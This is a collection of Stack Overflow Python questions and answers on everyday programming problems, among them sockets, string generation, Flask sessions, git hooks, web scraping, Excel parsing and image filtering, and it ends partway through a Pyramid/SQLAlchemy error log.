text
stringlengths 226
34.5k
|
---|
Python UDP Network not receiving data
Question: **Computer A "sender":**
import socket
UDP_IP = "computer b ip address"
UDP_PORT 5005
MESSAGE = "HELLO!"
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
while True:
sock.sendto((bytes(MESSAGE, 'UTF-8')), (UDP_IP, UDP_PORT))
**Computer B "receiver":**
import socket
UDP_IP = "computer b ip address"
UDP_PORT = 5005
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.bind((UDP_IP, UDP_PORT))
while True:
data = sock.recv(1024)
print("received: ", data)
**Observations**
* I sent data successfully once but have consequently failed despite using the exact setup only moments apart.
* When I loop to send data from computer A to computer B, it disrupts my usb-headphones on computer B only when computer A is sending to the IP Address of computer B.
**Can anyone give me direction in my attempt to send data between computer A
and computer B using UDP?**
Answer: Try to check telnet serverip 4000 from your machine, to check if 4000 port is
reachable. If not most likely it is firewall issue as pointed by Steffen.
|
Random String generator python
Question: I made a simple program in Python to generate a random string with 5 numbers
in it:
import random
numcount = 5
fstring = ""
for num in range(19): #strings are 19 characters long
if random.randint(0, 1) == 1:
x = random.randint(1, 26)
x += 96
fstring += (chr(x).upper())
elif not numcount == 0:
x = random.randint(0, 9)
fstring += str(x)
numcount -= 1
print(fstring)
Not too hard, right? Except for one incredibly strange thing: the strings it
returns are of a random length. I have run the code several times, and here
are some of my results:
>>> ================================ RESTART ================================
>>>
VQZ99HA5DER0CES4
>>> ================================ RESTART ================================
>>>
05PS0T86LOZS
>>> ================================ RESTART ================================
>>>
E2QX8296XK
>>> ================================ RESTART ================================
>>>
M5X9K457QDNBPX
I can't figure out what's going on... Can anyone point me in the right
direction?
Answer: You flip a coin 19 times; 50 percent of the time you pick a letter, the other
50 percent you pick a digit, but _only up to 5 times_. If you hit the number
option more often, you _do not add anything_.
So you build a string _up to_ 19 characters, but it can be shorter. On average
it'll be 9.5 letters, and 5 digits.
Only pick numbers if you still have numbers to pick:
import string
import random
numcount = 5
chars = []
for num in range(19): #strings are 19 characters long
if numcount and random.random() < 0.5:
chars.append(str(random.randint(0, 9)))
numcount -= 1
else:
chars.append(random.choice(string.ascii_uppercase))
fchars = ''.join(chars)
Demo:
>>> import string
>>> import random
>>> string.ascii_uppercase
'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
>>> numcount = 5
>>> chars = []
>>> for num in range(19): #strings are 19 characters long
... if numcount and random.random() < 0.5:
... chars.append(str(random.randint(0, 9)))
... numcount -= 1
... else:
... chars.append(random.choice(string.ascii_uppercase))
...
>>> ''.join(chars)
'3M6G97OEHP6TGYRONPV'
>>> len(chars)
19
|
checking whether variable is dictionary in python - use 'is' or ==
Question: Summary: I have a variable called `'parent'` that is a dictionary in python. I
want to check if it is a `dict` object. However, using `"type(parent) is
dict"` gives me `'False'`.
NOTE: I have the following library loaded in my python script:
from google.appengine.ext import ndb
Why is this happening? I suspected at first it is because this variable
`'parent'` is created using the `json` library's `'loads'` method.
parent = json.loads(self.request.body)
However, even when I create parent like so,
parent = {}
I get the the same results as observed below:
print type(parent)
>> <type 'dict'>
print type(parent) is dict
>> False
print type({}) is type(parent)
>> True
print type(parent) == dict
>> False
print type({}) == type(parent)
>> True
What's going on here? Is this a python version issue? Or does this have to do
with the fact I've loaded google's app engine library? When I execute the
following commands in a normal terminal, with no libraries loaded (Python
2.7.5), I get the following results, which are what I expect:
Python 2.7.5 (default, Sep 12 2013, 21:33:34)
[GCC 4.2.1 Compatible Apple LLVM 5.0 (clang-500.0.68)] on darwin
>>> parent = {}
>>> print type(parent)
<type 'dict'>
>>> print type(parent) is dict
True
>>> print type({}) is dict
True
>>> print type({}) is type(parent)
True
>>> print type({}) == type(parent)
True
Thanks in advance for any guidance!
Answer: What's most likely happening is that GAE is using some subclass of `dict`
behind the scenes.
The idiomatic way to check whether an object is an instance of a type in
python is the
[`isinstance()`](https://docs.python.org/3/library/functions.html#isinstance)
built-in function:
>>> parent = {}
>>> isinstance(parent, dict)
True
... which works for instances of the type itself, and of subclasses.
|
global name 'sqrt' not defined
Question: I've created a function, `potential(x,K,B,N)`, where `x`,`K`,`B` are `numpy`
arrays and `N` is an integer. I'm trying to test the function in `iPython` but
I keep getting the error `"global name 'sqrt' not defined"`.
Here's a look at my code:
def potential(x,K,B,N):
x = x.reshape((3,N),order='F')
U_b = 0.0
for i in xrange(0,N-1):
for j in xrange(i+1,N):
if K[i,j] == 1.0:
U_b += sum((x[:,i]-x[:,j])**2)
U_b = 0.5*U_b
U_a = 0.0
for i in xrange(0,N-2):
for j in xrange(i+1,N-1):
for l in xrange(j+1,N):
if B[i,j,l] == 1.0:
U_a += B[i,j,l]*sum((x[:,i]-x[:,j])*(x[:,j]-x[:,l]))/(sqrt(sum((x[:,i]-x[:,j])**2))*sqrt(sum((x[:,j]-x[:,l])**2)))
U_a = -U_a
U_r = 0.0
d = 0.0
for i in xrange(0,N-1):
for j in xrange(i+1,N):
d = sqrt(sum((x[:,i]-x[:,j])**2))
if d > sqrt(0.2):
U_r += (1.0/6.0)*(1/(d**6))
else:
U_r += -0.2**(-7.0/2.0)*d + (7.0/6.0)*(0.2)**(-3)
return U_b + U_a + U_r
I've tried using `from math import *` but that doesn't seem to help. Any
suggestions would be greatly appreciated!
Answer:
from math import sqrt
is all that's missing
> I've tried using `from math import *` but that doesn't seem to help.
(Possibly you did that after defining the function. Anyway, fuhgeddaboutit,
just reload the code in a clean session, it will work.)
|
how to pass command line string arguments and compare them python
Question: i want to comapre two strings by passing one string from command prompt, this
is sample code, when I pass `c://python sample.py x`, it is storing x1 as
x1=[' x '] now if I compare `sys.argv[1:]` with string 'x' its false, may be
its comparing `[' x '] == 'x'`, how should I remove that square brackets and
single quotes around my input after it reads
`import sys` `print sys.argv[1:]` `x1=sys.argv[1:]` `print x1`
`if x1=='x':` `print "true"`
Answer: You are trying to compare a list with a string here.
Do
x1 = sys.argv[1]
instead of
x1 = sys.argv[1:]
|
Use git hooks to create an archive of files
Question: I want to create a zip file containing some of the files in the repo, and then
add and commit that as well as the files already in the repo.
I've changed `precommit` to this:
#!C:/Python34/python.exe
import tarfile, os
os.chdir("C:\project\directory")
with tarfile.open("archive.tar.gz", "w:gz") as f:
for name in ["file", "names"]:
f.add(name)
which creates the files, but I don't no how to add them to the commit.
I tried doing `subprocess.Popen("git add .")`, but it didn't stage the files.
Answer: Note that the hook is called `pre-commit`, not `precommit`.
If I create a hook named `.git/hooks/pre-commit` with the following code:
#!/usr/bin/python
import os
import subprocess
import tarfile
print 'Adding files to archive.'
with tarfile.open("archive.tar.gz", "w:gz") as f:
for name in ["file1", "file2"]:
f.add(name)
print 'Adding archive to commit.'
subprocess.call(['git', 'add', 'archive.tar.gz'])
And add some files to the repository:
$ echo hello world > file1
$ echo this is a test > file2
$ git add file1 file2
And then commit the changes:
$ git commit -m "added some files"
I see:
Adding files to archive.
Adding archive to commit.
[master (root-commit) 38e33dd] added some files
3 files changed, 2 insertions(+)
create mode 100644 archive.tar.gz
create mode 100644 file1
create mode 100644 file2
And looking at the commit, I see:
$ git log -1 --name-only
commit 38e33dd5ba14d1bfe427b50cce37489259fd00c4
Author: Lars Kellogg-Stedman <[email protected]>
Date: Fri Jun 20 09:02:31 2014 -0400
added some files
archive.tar.gz
file1
file2
|
python-how to crawl past __VIEWSTATE
Question: im implementing a simple python crawler. i tested on .aspx site and realised
it didn't crawl past `<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE"
value="/wEPDwUKLTc2MzAxM..." />`
the value of __VIEWSTATE is super long. every html tags below were not
crawled. this is my crawler:
try:
# For python 3.0 and later
from urllib.request import Request, urlopen, URLError
except ImportError:
# Fall back to python 2's urllib2
from urllib2 import Request, urlopen, URLError
from HTMLParser import HTMLParser
url = "http://tickets.cathay.com.sg/index.aspx"
response = urlopen(url)
html = response.read()
# Create a subclass and override the handler methods
class MetaParser(HTMLParser):
def handle_starttag(self, tag, attrs):
print "Encountered a start tag:", tag
for attr in attrs:
print("attr:",attr)
if tag == "img":
for attr in attrs:
print attr
#instantiate the parser and fed it some HTML
parser = MetaParser()
parser.feed(html)
Here is the result of the above crawler:
Encountered a start tag: html
('attr:', ('xmlns', 'http://www.w3.org/1999/xhtml'))
Encountered a start tag: head
Encountered a start tag: title
Encountered a start tag: style
('attr:', ('type', 'text/css'))
Encountered a start tag: style
('attr:', ('type', 'text/css'))
Encountered a start tag: script
('attr:', ('language', 'javascript'))
('attr:', ('type', 'text/javascript'))
Encountered a start tag: body
Encountered a start tag: div
('attr:', ('id', 'div_loading'))
('attr:', ('style', 'display:none;'))
Encountered a start tag: b
Encountered a start tag: script
('attr:', ('language', 'javascript'))
('attr:', ('type', 'text/javascript'))
Encountered a start tag: div
('attr:', ('style', 'height:100%;width:100%;vertical-align:middle;text-align:center;'))
Encountered a start tag: br
Encountered a start tag: br
Encountered a start tag: table
('attr:', ('id', 'tbl_noJS'))
('attr:', ('cellpadding', '3'))
('attr:', ('cellspacing', '3'))
('attr:', ('class', 'asc_mb__Error'))
Encountered a start tag: tr
Encountered a start tag: th
Encountered a start tag: tr
Encountered a start tag: td
Encountered a start tag: script
('attr:', ('language', 'javascript'))
('attr:', ('type', 'text/javascript'))
Encountered a start tag: form
('attr:', ('name', 'aspnetForm'))
('attr:', ('method', 'post'))
('attr:', ('action', 'index.aspx'))
('attr:', ('id', 'aspnetForm'))
Encountered a start tag: input
('attr:', ('type', 'hidden'))
('attr:', ('name', '__VIEWSTATE'))
('attr:', ('id', '__VIEWSTATE'))
('attr:', ('value', '/wEPDwULLTExNjcwMjQ1OTIPFgIeD19fcG9zdGJhY2tjb3VudGYWAmYPZBYCAgMPZBYCAgMPZBYEZg8QZGQWAGQCAQ8QZGQWAGRk94h3o3llZzxioTZaZaEsGu8qYIM='))
Encountered a start tag: script
('attr:', ('type', 'text/javascript'))
If you noticed, the value of viewstate is similar but not the same as the one
found in the browser Page View Source. The other attributes also seems
different.
I found an example at [here](https://github.com/AmbientLighter/rpn-
fas/blob/master/fas/spiders/rnp.py) but it didn't work. i googled and couldnt
find much about it
I investigated further and tried crawling <http://www.microsoft.com/en-
sg/default.aspx>. It works!!! In View Page Source, I see it has __VIEWSTATE.
I'm puzzled. So why did my crawler failed to crawl
<http://tickets.cathay.com.sg/index.aspx>??
Here is another crawler using scrapy:
from scrapy.spider import Spider
from scrapy.selector import Selector
class MySpider(Spider):
name = "myspider"
start_urls = [
"http://tickets.cathay.com.sg/index.aspx"
]
def parse(self, response):
filename = response.url.split("/")[-2]
print "filename[", filename, "]"
open(filename, 'wb').write(response.body)
sel = Selector(response)
# Using XPath query
print sel.xpath('//img')
Here is the result:
User-MacBook-Pro:tutorial User$ scrapy crawl myspider
2014-06-20 23:52:10+0800 [scrapy] INFO: Scrapy 0.22.2 started (bot: tutorial)
2014-06-20 23:52:10+0800 [scrapy] INFO: Optional features available: ssl, http11
2014-06-20 23:52:10+0800 [scrapy] INFO: Overridden settings: {'NEWSPIDER_MODULE': 'tutorial.spiders', 'SPIDER_MODULES': ['tutorial.spiders'], 'BOT_NAME': 'tutorial'}
2014-06-20 23:52:10+0800 [scrapy] INFO: Enabled extensions: LogStats, TelnetConsole, CloseSpider, WebService, CoreStats, SpiderState
2014-06-20 23:52:10+0800 [scrapy] INFO: Enabled downloader middlewares: HttpAuthMiddleware, DownloadTimeoutMiddleware, UserAgentMiddleware, RetryMiddleware, DefaultHeadersMiddleware, MetaRefreshMiddleware, HttpCompressionMiddleware, RedirectMiddleware, CookiesMiddleware, ChunkedTransferMiddleware, DownloaderStats
2014-06-20 23:52:10+0800 [scrapy] INFO: Enabled spider middlewares: HttpErrorMiddleware, OffsiteMiddleware, RefererMiddleware, UrlLengthMiddleware, DepthMiddleware
2014-06-20 23:52:10+0800 [scrapy] INFO: Enabled item pipelines:
2014-06-20 23:52:10+0800 [myspider] INFO: Spider opened
2014-06-20 23:52:10+0800 [myspider] INFO: Crawled 0 pages (at 0 pages/min), scraped 0 items (at 0 items/min)
2014-06-20 23:52:10+0800 [scrapy] DEBUG: Telnet console listening on 0.0.0.0:6023
2014-06-20 23:52:10+0800 [scrapy] DEBUG: Web service listening on 0.0.0.0:6080
2014-06-20 23:52:11+0800 [myspider] DEBUG: Crawled (200) <GET http://tickets.cathay.com.sg/index.aspx> (referer: None)
filename[ tickets.cathay.com.sg ]
[]
2014-06-20 23:52:11+0800 [myspider] INFO: Closing spider (finished)
2014-06-20 23:52:11+0800 [myspider] INFO: Dumping Scrapy stats:
{'downloader/request_bytes': 230,
'downloader/request_count': 1,
'downloader/request_method_count/GET': 1,
'downloader/response_bytes': 1856,
'downloader/response_count': 1,
'downloader/response_status_count/200': 1,
'finish_reason': 'finished',
'finish_time': datetime.datetime(2014, 6, 20, 15, 52, 11, 9068),
'log_count/DEBUG': 3,
'log_count/INFO': 7,
'response_received_count': 1,
'scheduler/dequeued': 1,
'scheduler/dequeued/memory': 1,
'scheduler/enqueued': 1,
'scheduler/enqueued/memory': 1,
'start_time': datetime.datetime(2014, 6, 20, 15, 52, 10, 960574)}
2014-06-20 23:52:11+0800 [myspider] INFO: Spider closed (finished)
With scrapy which i believed its using lxml, it couldnt crawl anything below
__VIEWSTATE too.
Answer: Here is a working example using requests and beautifulsoup4 (I don't know
enough about scapy to do it using that).
import requests
from bs4 import BeautifulSoup
def get_viewstate():
url = "http://tickets.cathay.com.sg/index.aspx"
req = requests.get(url)
data = req.text
bs = BeautifulSoup(data)
return bs.find("input", {"id": "__VIEWSTATE"}).attrs['value']
url = "http://tickets.cathay.com.sg/index.aspx"
data = {"__VIEWSTATE": get_viewstate()}
req = requests.post(url, data)
bs = BeautifulSoup(req.text)
print bs.findAll("td", {"class": "movieTitlePlatinum"}) #Just an example, you could also do bs.findAll("img") etc.
|
How to control Raspberry Pi PiNoIR camera via python?
Question: I have a PiNoIR camera for a Raspberry Pi (using Raspbian), and I'd like to
control it through a python script. I tried to use the `picamera` python (2.7)
library, but it doesn't work. The camera is enabled in Raspberry Pi, and it
seems to work well (as tested by `raspivid -t 0` in the terminal). However,
this simple python script freezes all the time and even `CTRL+C` is unble to
stop the process, I need to terminate it from a new window by `sudo kill`
import time
import picamera
with picamera.PiCamera() as camera:
camera.start_preview()
time.sleep(2)
camera.capture('/home/pi/test.jpg')
camera.stop_preview()
The same script works fine with the standard (non infrared) Pi Camera though.
The documentation <http://picamera.readthedocs.org/en/release-1.5/#> doesn't
seem to say anything specific about the PiNoIR camera board.
Any thoughts? Thanks.
Answer: Remove the line: camera.stop_preview(). You can then stop the running script
with `Ctrl`+`F6`
|
Python Flask - How to pass values from one route to another?
Question: Hi I am new to flask and I am trying to create a simple login functionality.
Users fill out their username and password (which at this point needs to match
the username and password I hardcoded) and if their credentials are approved
they are taken to their profile page. The profile page should show the message
Hello followed by the username. The validation is working just fine and the
user is taken to the profile page but I can't pass the username from the form
(login.html) to the template "profile.html". Below follows the code. I am
sending the code that works but there is no tentative to pass the username.
Thank you!
from flask import *
SECRET_KEY = "super secret"
app = Flask(__name__)
app.config.from_object(__name__)
@app.route('/')
def index():
return render_template('login.html')
@app.route('/login', methods=['GET', 'POST'])
def login():
error = None
if request.method == 'POST':
if request.form['username'] == 'user' and request.form['password'] == 'pass':
session['loggedin'] = True
return redirect(url_for('profile'))
else:
error="Invalid credentials. Please try again."
return render_template('login.html', error=error)
@app.route('/profile')
def profile():
return render_template('profile.html')
@app.route('/logout')
def logout():
session.pop('loggedin', None)
return redirect(url_for('login'))
if __name__ == '__main__':
app.run(debug=True)
Answer: I think you miss the point of your hard work login page.
What about the next page the user will choose to visit? Will you send the
username value again? of course not..
I suggest you to define a global var(session? DB data?) that contain the
current-logged-in-user-data, so you can use all user's data, not only his
username(age?posts? etc..)
One last thing, i use [flask-login](https://flask-
login.readthedocs.org/en/latest/), i really like it, it simple mange my login
session/views and guess what? there is [current_user](https://flask-
login.readthedocs.org/en/latest/#flask.ext.login.current_user) with the
current-logged-in-user-data :)
Flask-login summery:
> Flask-Login provides user session management for Flask.
>
> It handles the common tasks of logging in, logging out, and remembering your
> users’ sessions over extended periods of time.
|
why can't I access the variable in my class. python
Question: I created a panel in my main class. I then wanted to create a button that goes
into the panel. I created a seperate class for the button called
panel_in_button and set main in its parameters in hopes that I could inherit
the panel in my main class and then use it in my panel_in_button class but for
some odd reason my button won't show up when I run the program. The program
runs fine with the exception of that. Help please. Here is the error I get but
I dont think it has anything to do with why I can't access panel.
Warning (from warnings module): File "C:\Python27\GUI practice.py", line 19
app=wx.PySimpleApp() #This runs the program wxPyDeprecationWarning: Using
deprecated class PySimpleApp.
import wx
class main(wx.Frame):
def __init__(self,parent,id):
wx.Frame.__init__(self,parent,id, "My window", size=(300, 200))
panel=wx.Panel(self)
class panel_in_button(main):
def __init__(self):
button = wx.Button(main.panel, label="exit",pos=(130,10), size=(60, 60))
self.Bind(wx.EVT_BUTTON, self.closebutton, button)
self.Bind(wx.EVT_CLOSE, self.closewindow)
def closebutton(self, event):
self.Close(True)
def closewindow(self, event):
self.Destroy()
if __name__=="__main__":
app=wx.PySimpleApp() #This runs the program
frame=main(parent=None, id=-1)#Displays the program
frame.Show()
app.MainLoop()
Answer: You can't write the code that way. **main** is a class, not an instance of a
class. You shouldn't call a class's method directly. Instead, you need to
instantiate it and then call your object's method. No where in this code do
you instantiate **panel_in_button**. Anyway, I don't recommend programming
this way. Here's a cleaned up version:
import wx
class main(wx.Frame):
def __init__(self,parent,id):
wx.Frame.__init__(self,parent,id, "My window", size=(300, 200))
panel=wx.Panel(self)
button = wx.Button(panel, label="exit",pos=(130,10), size=(60, 60))
self.Bind(wx.EVT_BUTTON, self.closebutton, button)
self.Bind(wx.EVT_CLOSE, self.closewindow)
def closebutton(self, event):
self.Close(True)
def closewindow(self, event):
self.Destroy()
if __name__=="__main__":
app=wx.App(False) #This runs the program
frame=main(parent=None, id=-1)#Displays the program
frame.Show()
app.MainLoop()
This combines the two classes into one. I also replaced the reference to
**wx.PySimpleApp** as that is deprecated. I would recommend you take a look at
sizers instead of absolute positioning. Sizers are definitely worth the effort
to learn.
|
Installing package dependencies for Scrapy
Question: So among the many packages users need to install for Scrapy, I think I'm
having trouble with pyOpenSSL.
When I try to get a tutorial Scrapy project created, I get this following
output:
Traceback (most recent call last):
File "C:\Python27\lib\runpy.py", line 162, in _run_module_as_main
"__main__", fname, loader, pkg_name)
File "C:\Python27\lib\runpy.py", line 72, in _run_code
exec code in run_globals
File "C:\Python27\lib\site-packages\scrapy\cmdline.py", line 168, in <module>
execute()
File "C:\Python27\lib\site-packages\scrapy\cmdline.py", line 122, in execute
cmds = _get_commands_dict(settings, inproject)
File "C:\Python27\lib\site-packages\scrapy\cmdline.py", line 46, in _get_comma
nds_dict
cmds = _get_commands_from_module('scrapy.commands', inproject)
File "C:\Python27\lib\site-packages\scrapy\cmdline.py", line 29, in _get_comma
nds_from_module
for cmd in _iter_command_classes(module):
File "C:\Python27\lib\site-packages\scrapy\cmdline.py", line 20, in _iter_comm
and_classes
for module in walk_modules(module_name):
File "C:\Python27\lib\site-packages\scrapy\utils\misc.py", line 68, in walk_mo
dules
submod = import_module(fullpath)
File "C:\Python27\lib\importlib\__init__.py", line 37, in import_module
__import__(name)
File "C:\Python27\lib\site-packages\scrapy\commands\bench.py", line 3, in <mod
ule>
from scrapy.tests.mockserver import MockServer
File "C:\Python27\lib\site-packages\scrapy\tests\mockserver.py", line 6, in <m
odule>
from twisted.internet import reactor, defer, ssl
File "C:\Python27\lib\site-packages\twisted\internet\ssl.py", line 59, in <mod
ule>
from OpenSSL import SSL
File "build\bdist.win32\egg\OpenSSL\__init__.py", line 8, in <module>
File "build\bdist.win32\egg\OpenSSL\rand.py", line 11, in <module>
File "build\bdist.win32\egg\OpenSSL\_util.py", line 3, in <module>
ImportError: No module named cryptography.hazmat.bindings.openssl.binding
And when I googled that last error (no module named cryptography.hazmat), I
see a couple of mentions of pyOpenSSL. So I went ahead and tried running
`easy_install pyOpenSSL==0.14` to make sure it's the latest version, but when
I do that, I get this output:
c:\python27\include\pymath.h(22) : warning C4273: 'round' : inconsistent dll lin
kage
C:\Program Files (x86)\Microsoft Visual Studio 12.0\VC\INCLUDE\math.h(51
6) : see previous definition of 'round'
c:\users\bk\appdata\local\temp\easy_install-tztawu\cryptography-0.4\temp\easy_in
stall-svxsjy\cffi-0.8.2\c\misc_win32.h(225) : error C2632: 'char' followed by 'b
ool' is illegal
c:\users\bk\appdata\local\temp\easy_install-tztawu\cryptography-0.4\temp\easy_in
stall-svxsjy\cffi-0.8.2\c\misc_win32.h(225) : warning C4091: 'typedef ' : ignore
d on left of 'unsigned char' when no variable is declared
c/_cffi_backend.c(5295) : warning C4146: unary minus operator applied to unsigne
d type, result still unsigned
c/_cffi_backend.c(5296) : warning C4146: unary minus operator applied to unsigne
d type, result still unsigned
c/_cffi_backend.c(5297) : warning C4146: unary minus operator applied to unsigne
d type, result still unsigned
c/_cffi_backend.c(5298) : warning C4146: unary minus operator applied to unsigne
d type, result still unsigned
error: Setup script exited with error: command '"C:\Program Files (x86)\Microsof
t Visual Studio 12.0\VC\BIN\cl.exe"' failed with exit status 2
So I'm a bit lost as to what I need to do to get Scrapy up and running
properly
Answer: I got the same error on Mac OS.
I solved it by using openssl 0.13 instead of the latest version.
easy_install pyOpenSSL==0.13
or
pip install pyOpenSSL==0.13
|
Python comparing two files partially
Question: I have the two input file:
Input 1:
okay sentence
two runway
three runway
right runway
one pathway
four pathway
zero pathway
Input 2 :
okay sentence
two runway
three runway
right runway
zero pathway
one pathway
four pathway
I have used the following code:
def diff(a, b):
y = []
for x in a:
if x not in b:
y.append(x)
else:
b.remove(x)
return y
with open('output_ref.txt', 'r') as file1:
with open('output_ref1.txt', 'r') as file2:
same = diff(list(file1), list(file2))
print same
print "\n"
if '\n' in same:
same.remove('\n')
with open('some_output_file.txt', 'w') as FO:
for line in same:
FO.write(line)
And the expected output is :
one pathway
zero pathway
But the output I am getting an empty output for this. The problem is I don't
know how to store the content from the files to the list partially ,then
compare and finally read it back from there. Can someone help me in this
regard ??
Answer: It seems that if you just want to have the common text lines in both files,
sets would provide a good way. Something like this:
content1 = set(open("file1", "r"))
content2 = set(open("file2", "r"))
diff_items = content1.difference(content2)
UPDATE: But is it so that the question is about difference in the same sense
as the `diff` utility? I.e. the order is important (looks like that with the
examples).
|
Python / Excel - Conditional cell printing with xlrd
Question: I want to print only the rows of a specifig column, let's say colmn B, so far
so good:
import xlrd
file_location = "/home/myuser/excel.xls"
workbook = xlrd.open_workbook(file_location)
sheet = workbook.sheet_by_index(0)
data = [[sheet.cell_value(r, c) for c in range(sheet.ncols)] for r in range(sheet.nrows)]
for r in data:
print r[1]
Now I want to print out only those cell values, which have a yellow colored
background. I found this
[link](http://stackoverflow.com/questions/7991209/identifying-excel-sheet-
cell-color-code-using-xlrd-package#) but failed to adept it to my code. Could
anybody help me out?
Answer: If you know the specific color index of the cells with yellow background, you
can check the `background.pattern_colour_index` value of the cell style. Note
that it is important to pass `formatting_info=True` to the `open_workbook()`:
import xlrd
file_location = "/home/myuser/excel.xls"
workbook = xlrd.open_workbook(file_location, formatting_info=True)
sheet = workbook.sheet_by_index(0)
for row in range(sheet.nrows):
cell = sheet.cell(row, 1)
style = workbook.xf_list[cell.xf_index]
color = style.background.pattern_colour_index
if color == 43: # on of yellows
print cell.value
* * *
Example:
For the file containing 2 cells with yellow background:

The code above prints:
test2
test4
|
Sliding Gabor Filter in python
Question: Taken from the gabor filter example from skimage calculating a gabor filter
for an image is easy:
import numpy as np
from scipy import ndimage as nd
from skimage import data
from skimage.util import img_as_float
from skimage.filter import gabor_kernel
brick = img_as_float(data.load('brick.png'))
kernel = np.real(gabor_kernel(0.15, theta = 0.5 * np.pi,sigma_x=5, sigma_y=5))
filtered = nd.convolve(brick, kernel, mode='reflect')
mean = filtered.mean()
variance = filtered.var()
brick is simply a numpy array. Suppose I have a 5000*5000 numpy array. What I
want to achieve is to generate two new 5000*5000 numpy arrays where the pixels
are the mean and var values of the gabor filter of the 15*15 window centered
on them.
Could anyone help me achieve this?
**EDIT**
¿Why did I get downvoted? Anyway, to clarify I show an example on how to
calculate a gabor filter on a single image. I would like to simply calculate a
gabor filter on small square subsets of a very large image (hence the sliding
window).
Answer: There no standard methods to do this (that I know of), but you can do it
yourself directly.
Each pixel in the convolution is the sum of the values of the shift gabor
filter times the image pixels. That is, each pixel in the convolution is
basically the **mean** to within a constant normalization factor, so
`filtered` is basically your mean.
The **variance** is a bit more difficult since that is the sum of the squares,
and of course, you need to calculate the sqaures before you calculate the
sums. But, you can do this easy enough by pre-squaring both the image and the
kernel, that is:
N = kernel.shape[0]*kernel.shape[1]
mean = nd.convolve(brick, kernel, mode='reflect')/N
var = nd.convolve(brick*brick, kernel*kernel, mode='reflect')/N - mean*mean
|
How to Parse XML like Dictonary in Python
Question: I am new to Python and I been trying to get below fnames Parsed and having
hard time doing so.
I need to parse below fNames...
{"values":
{"entries":"uri", "type":"xs:string", "unique-value":
[{"entry":1, "fName":"\/abc.txt"},
{"entry":1, "fName":"\/def.txt"},
{"entry":1, "fName":"\/xyz.txt"},
{"entry":1, "fName":"\/file.doc"},
{"entry":1, "fName":"\/file2.txt"}
]
}
}
Here is my Code:
for entry in j['values']['entries']:
print entry['entry']['fName']
Answer: I am not enterily sure what you mean with parse, but if you simply want to get
the values of fName, you could simply loop through list like this:
import json
text = """{.....}"""
json_data = json.loads(text)
for value in json_data['values']['unique-value']:
print "entry:", value['entry'], "-- fName:", value['fName']
**Output:**
entry: 1 -- fName: /abc.txt
entry: 1 -- fName: /def.txt
entry: 1 -- fName: /xyz.txt
entry: 1 -- fName: /file.doc
entry: 1 -- fName: /file2.txt
The reason that your code didn't work was because both `entry` and `fName` are
both key/values from the same dictionary. This means that for your code to
work, the json layout would have to look like this:
[{"entry": {"fName": "/abc.txt"}}, {"entry": {"fName": "/def.txt"}}]
|
Pyramid: DBSession.add(model) returns Type Error
Question: When I run the `initializedb.py` script, my tables are created fine but when I
try to insert any data, I get the following error:
TypeError: unbound method after_attach() must be called with ZopeTransactionExtension instance as first argument (got Session instance instead)
Why am I getting this error? I tried googling the error but the only example
related to me I found had to do with an incorrect query.
My package structure and relevant sections of code are as follows:
In my Pyramid application, instead of defining all models in the `models.py`
file, I've created a separate package called models and put all my model
classes there.
Basically, I have
myapp/
models/
__init__.py
meta.py
school.py
__init__.py
My main `__init__.py` has:
from myapp.models.meta import (
DBSession,
Base,
)
Similarly, the `__init__.py` file inside `models` has:
from .meta import DBSession
from .school import School
`meta.py` inside `models` has:
from sqlalchemy.ext.declarative import declarative_base
from sqlalchemy.orm import (
scoped_session,
sessionmaker,
)
from zope.sqlalchemy import ZopeTransactionExtension
Base = declarative_base()
DBSession = scoped_session(sessionmaker(extension=ZopeTransactionExtension))
The model file `school.py` has:
from .meta import (
Base,
get_prefix,
)
class School(Base):
""" The SQLAlchemy declarative model class for a School object. """
__tablename__ = 'schools'
id = Column(Integer, primary_key=True)
school_code = Column(String(10))
And, finally, the `scripts/initializedb.py` file has:
from myapp.models.meta import (
Base,
DBSession,
)
from myapp.models import (
School,
)
def main(argv=sys.argv):
if len(argv) < 2:
usage(argv)
config_uri = argv[1]
options = parse_vars(argv[2:])
setup_logging(config_uri)
settings = get_appsettings(config_uri, options=options)
engine = engine_from_config(settings, 'sqlalchemy.')
DBSession.configure(bind=engine)
Base.metadata.create_all(engine)
with transaction.manager:
demo_school = School(school_code="SC-123")
DBSession.add(demo_school)
**EDIT:**
The full traceback is as follows:
2014-06-22 20:18:31,577 INFO [sqlalchemy.engine.base.Engine][MainThread] SHOW VARIABLES LIKE 'sql_mode'
2014-06-22 20:18:31,577 INFO [sqlalchemy.engine.base.Engine][MainThread] ()
2014-06-22 20:18:31,585 DEBUG [sqlalchemy.engine.base.Engine][MainThread] Col ('Variable_name', 'Value')
2014-06-22 20:18:31,586 DEBUG [sqlalchemy.engine.base.Engine][MainThread] Row ('sql_mode', '')
2014-06-22 20:18:31,586 INFO [sqlalchemy.engine.base.Engine][MainThread] SELECT DATABASE()
2014-06-22 20:18:31,586 INFO [sqlalchemy.engine.base.Engine][MainThread] ()
2014-06-22 20:18:31,587 DEBUG [sqlalchemy.engine.base.Engine][MainThread] Col ('DATABASE()',)
2014-06-22 20:18:31,587 DEBUG [sqlalchemy.engine.base.Engine][MainThread] Row ('myapp',)
2014-06-22 20:18:31,588 INFO [sqlalchemy.engine.base.Engine][MainThread] show collation where `Charset` = 'utf8' and `Collation` = 'utf8_bin'
2014-06-22 20:18:31,588 INFO [sqlalchemy.engine.base.Engine][MainThread] ()
2014-06-22 20:18:31,590 DEBUG [sqlalchemy.engine.base.Engine][MainThread] Col ('Collation', 'Charset', 'Id', 'Default', 'Compiled', 'Sortlen')
2014-06-22 20:18:31,591 DEBUG [sqlalchemy.engine.base.Engine][MainThread] Row ('utf8_bin', 'utf8', 83L, '', 'Yes', 1L)
2014-06-22 20:18:31,592 INFO [sqlalchemy.engine.base.Engine][MainThread] SELECT CAST('test plain returns' AS CHAR(60)) AS anon_1
2014-06-22 20:18:31,592 INFO [sqlalchemy.engine.base.Engine][MainThread] ()
2014-06-22 20:18:31,593 INFO [sqlalchemy.engine.base.Engine][MainThread] SELECT CAST('test unicode returns' AS CHAR(60)) AS anon_1
2014-06-22 20:18:31,593 INFO [sqlalchemy.engine.base.Engine][MainThread] ()
2014-06-22 20:18:31,594 INFO [sqlalchemy.engine.base.Engine][MainThread] SELECT CAST('test collated returns' AS CHAR CHARACTER SET utf8) COLLATE utf8_bin AS anon_1
2014-06-22 20:18:31,595 INFO [sqlalchemy.engine.base.Engine][MainThread] ()
